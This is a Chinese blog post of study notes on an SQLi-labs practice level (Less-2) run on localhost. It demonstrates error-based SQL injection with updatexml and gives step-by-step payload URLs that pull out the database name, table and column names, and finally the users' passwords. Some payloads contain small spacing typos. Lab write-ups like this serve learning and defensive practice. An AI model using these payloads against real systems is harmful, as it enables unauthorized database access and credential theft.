SQL练习（less-2）报错注入

最新推荐文章于 2024-09-01 23:33:10 发布

原创最新推荐文章于 2024-09-01 23:33:10 发布 · 515 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#sql注入

SQL注入专栏收录该内容

9 篇文章

订阅专栏

本文详细介绍了SQL注入攻击中利用Updatexml函数进行数据库信息探测的过程，包括如何获取数据库名、表名、字段名以及敏感数据。通过构造特定的SQL语句，逐步揭示了数据库中的关键信息。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

本文为学习笔记，仅限学习交流
不得利用、从事危害国家或人民安全、荣誉和利益等活动

固定格式： Updatexml(1,concat(0×7e,b)
Updatexml(a,Xpath,b) 在文档a中，查找 Xpath 格式的内容替换 b内容
Conact(a,b,c,…) 用来连接括号内的字符串

构造语句：union select updatexml(1,concat(0x7e,select database(),0x7e),1)

http://127.0.0.1/sqli/Less-2/index.php?id=1’
在这里插入图片描述
爆出数据库名：
http://127.0.0.1/sqli/Less-2/index.php?id=1 union select updatexml(1,concat(0x7e,(select database()),0x7e),1)%23

爆出当前数据库下的表名：
http://127.0.0.1/sqli/Less-2/index.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema =‘security’),0x7e),1) %23
在这里插入图片描述
爆出users表的字段
http://127.0.0.1/sqli/Less-2/index.php?id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name)frominformation_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e),1)%23

爆出账户名密码：
http://127.0.0.1/sql/Less-2/index.php?id=-1and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) %23
在这里插入图片描述
完成！